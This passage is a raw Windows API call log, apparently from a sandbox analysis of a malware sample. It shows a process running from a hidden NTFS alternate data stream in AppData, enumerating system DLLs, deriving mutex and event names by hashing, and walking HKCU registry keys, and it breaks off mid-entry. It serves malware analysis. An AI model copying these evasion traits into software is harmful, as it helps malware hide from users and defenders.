ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.059] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.059] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.059] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x1efc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0261.059] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.059] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x1efc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0261.059] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.059] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0261.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x1efc288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0261.059] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0261.062] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x18fdb0 | out: BaseAddress=0x18fdb0*=0x75e00000) returned 0x0 [0261.066] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0261.066] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0261.066] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.066] FindClose (in: hFindFile=0x5825e0 | out: hFindFile=0x5825e0) returned 1 [0261.067] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x592cd8*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" [0261.068] LocalFree (hMem=0x592cd8) returned 0x0 [0261.068] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0261.068] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x437cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin")) returned 0x2e [0261.068] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x438500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin")) returned 0x2e [0261.068] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x5938d8) returned 1 [0261.069] CryptCreateHash (in: hProv=0x5938d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0261.069] CryptHashData (hHash=0x5825e0, pbData=0x1efc240, dwDataLen=0x16, dwFlags=0x0) returned 1 [0261.069] CryptGetHashParam (in: hHash=0x5825e0, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0261.069] CryptGetHashParam (in: hHash=0x5825e0, dwParam=0x2, pbData=0x1efc9d8, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1efc9d8, pdwDataLen=0x18fc34) returned 1 [0261.069] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4390f0 [0261.070] CryptDestroyHash (hHash=0x5825e0) returned 1 [0261.070] CryptReleaseContext (hProv=0x5938d8, dwFlags=0x0) returned 1 [0261.070] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0x0 [0261.070] GetLastError () returned 0x2 [0261.070] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x5000) returned 0x432850 [0261.070] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439138 [0261.070] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0261.259] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x432850) returned 1 [0261.259] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x57b0b8, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0261.259] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439138 [0261.259] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="{06C11002-99B9-5502-651C-628268B034F2}") returned 0xec [0261.259] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439138) returned 1 [0261.259] GetLastError () returned 0x0 [0261.259] SetSecurityInfo () returned 0x0 [0261.263] LocalFree (hMem=0x57b0b8) returned 0x0 [0261.263] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439138 [0261.263] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x5000) returned 0x432850 [0261.263] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.263] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.263] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0261.265] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x432850) returned 1 [0261.265] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x57b0b8, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0261.265] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.265] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="") returned 0x104 [0261.265] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.265] GetLastError () returned 0x0 [0261.265] LocalFree (hMem=0x57b0b8) returned 0x0 [0261.265] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.265] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x5939b0) returned 1 [0261.266] CryptCreateHash (in: hProv=0x5939b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0261.266] CryptHashData (hHash=0x5825e0, pbData=0x1efc240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0261.266] CryptGetHashParam (in: hHash=0x5825e0, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0261.266] CryptGetHashParam (in: hHash=0x5825e0, dwParam=0x2, pbData=0x439180, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x439180, pdwDataLen=0x18fc34) returned 1 [0261.266] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4391c8 [0261.266] CryptDestroyHash (hHash=0x5825e0) returned 1 [0261.266] CryptReleaseContext (hProv=0x5939b0, dwFlags=0x0) returned 1 [0261.266] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.266] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.266] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439210 [0261.266] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.266] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.266] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.266] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439210) returned 1 [0261.266] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4391c8) returned 1 [0261.266] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4391c8 [0261.266] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439210 [0261.266] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0261.266] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439210) returned 1 [0261.266] GetLastError () returned 0x5 [0261.266] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439210 [0261.266] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0261.266] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439210) returned 1 [0261.266] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439210 [0261.267] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0261.267] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439210) returned 1 [0261.267] ReleaseMutex (hMutex=0x0) returned 0 [0261.267] GetLastError () returned 0x6 [0261.267] SetEvent (hEvent=0xec) returned 1 [0261.267] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x800) returned 0x432850 [0261.268] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439210 [0261.268] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0261.268] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x280) returned 0x433058 [0261.268] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0261.272] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x433058, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0261.272] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.272] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x439180, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0261.272] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.272] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.272] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.272] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.272] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x433058, cchName=0x104 | out: lpName="Console") returned 0x0 [0261.272] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.272] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x439258, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0261.272] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.273] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x433058, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x439180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.273] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x433058, cchName=0x104 | out: lpName="Environment") returned 0x0 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x439258, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.273] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x433058, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x439180, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.273] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.273] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x433058, cchName=0x104 | out: lpName="Identities") returned 0x0 [0261.273] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.274] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439258 [0261.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x439258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0261.274] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.274] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439258) returned 1 [0261.274] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439180) returned 1 [0261.274] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0261.274] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x433058, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0261.274] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0261.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0261.274] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439180 [0261.274] 